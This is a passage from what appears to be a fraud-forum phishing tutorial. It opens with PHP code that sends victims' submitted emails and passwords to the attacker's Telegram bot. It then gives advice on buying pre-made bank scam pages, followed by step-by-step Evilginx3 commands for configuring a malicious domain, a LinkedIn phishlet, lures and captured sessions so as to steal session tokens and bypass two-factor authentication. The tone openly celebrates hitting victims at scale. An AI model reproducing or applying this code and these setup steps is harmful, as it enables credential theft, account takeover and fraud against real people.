<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 114px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;"><?php
$botToken = "YOUR_BOT_TOKEN_HERE";
$chatId = "YOUR_CHAT_ID_HERE";
$message = urlencode("New phish:\nEmail: ".$_POST['email']."\nPassword: ".$_POST['password']);
file_get_contents("https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatId&text=$message");
?></pre>
Now you'll get a Telegram message every time someone enters their credentials. It's like having a digital fishing rod that vibrates in your pocket every time you get a bite.
Leveling Up: Pre-made Scam Pages
Don't want to build from scratch? I get it, not everyone's a coding wizard. Especially since right-click save as source and modify form no longer works for most sites. You can find pre-made "scam pages" on various Telegram groups and forums. But this is crucial:
TRUST NO ONE. That seller hawking a perfect bank login page? They could easily have backdoored that shit. You might think you're the scammer, but surprise, you're the one getting played.
If you do go this route:
Only buy from reputable sellers with good reviews
Always, ALWAYS review the code before using it
Consider having a trusted coder friend look it over too
Better yet? Use these pre-made pages as inspiration. Study their structure, then build your own. It's more work but it's the only way to be 100% sure you're not the one getting phished yourself.
Advanced Phishing: Enter Evilginx3
https://i.imgur.com/o4upEmu.png
Now we're talking. Evilginx3 is the big leagues of phishing. And this guide here will just be a rough draft in starting it up. I'll write a comprehensive guide in the future. Suffice it to say that this isn't your grandma's phishing kit: we're talking about hijacking entire sessions, bypassing 2FA, and leaving your victims clueless. Evilginx3 differs from standard fake page phishing by providing a reverse proxy. This means you will essentially be a man in the middle between the user and the service making the entire process seamless and more secure.
https://i.imgur.com/VLWr2PO.png
Setting Up Your Digital Fishing Rod:
1. SSH into your server:
First, SSH into the server that you set up previously:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 34px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">ssh your_username@your_server_ip</pre>
2. Install the essentials:
Update your package lists and install the required packages:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 34px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">sudo apt update && sudo apt install git make golang-go</pre>
3. Clone and set up Evilginx3:
Clone the Evilginx3 repository and set it up:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 114px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">git clone https://github.com/kgretzky/evilginx3.git
cd evilginx3
make
sudo make install
sudo cp -r phishlets/ /usr/share/evilginx/
sudo cp -r templates/ /usr/share/evilginx/</pre>
4. Fire up Evilginx3:
Start Evilginx3:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 34px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">sudo evilginx3</pre>
5. Configure your settings:
Configure your domain, IP, and redirect URL:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 66px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">config domain your-sketchy-domain.com
config ip your.server.ip.address
config redirect_url https://some-legit-site.com</pre>
6. Enable a phishlet (LinkedIn example):
Set the hostname and enable the LinkedIn phishlet:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 50px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">phishlets hostname linkedin your-sketchy-domain.com
phishlets enable linkedin</pre>
7. Create a lure:
Create and edit a lure for LinkedIn:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 66px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">lures create linkedin
lures edit 0 redirect_url https://www.linkedin.com/
lures get-url 0</pre>
You now have your phishing URL, which will look something like https://www.your-sketchy-domain.com/whatever.
Why This Shit is Next Level:
2FA? What 2FA? You're snagging session tokens, not just passwords. 2FA might as well not exist.
Real-time Access: As soon as they log in, you're in. No waiting around.
Stealth Mode: Victims are on the real site. No janky fake pages to raise alarms.
Scale This Bitch: One setup, multiple phishlets. Hit Gmail, Facebook, banks - sky's the limit.
With Evilginx3, you're not just fishing for login details. You're stealing the whole dammn boat while the owner is still sailing it.
Pro Tips:
Run in a tmux session: Keep it alive when you disconnect:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 50px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">tmux new -s evilginx
sudo evilginx3</pre>
To detach: CTRL+B, then D. To reattach:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 34px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">tmux attach -t evilginx</pre>
Customize your attack: Use lures edit to customize your attack. Add URL params, change paths - get creative:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 50px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">lures edit 0 param1 value1
lures edit 0 path /custom-path</pre>
Check your logs: Check your logs with sessions. That's where the gold is:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 50px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">sessions
sessions 0</pre>
Next up we will be diving to SPAMMING and we will expand more on EVILGINX3 and it's powers, especially advanced cases of phishing attacks. Stay tuned and keep safe. If you have any questions feel free to drop a comment! https://txgate.io/images/smilies/carder.gif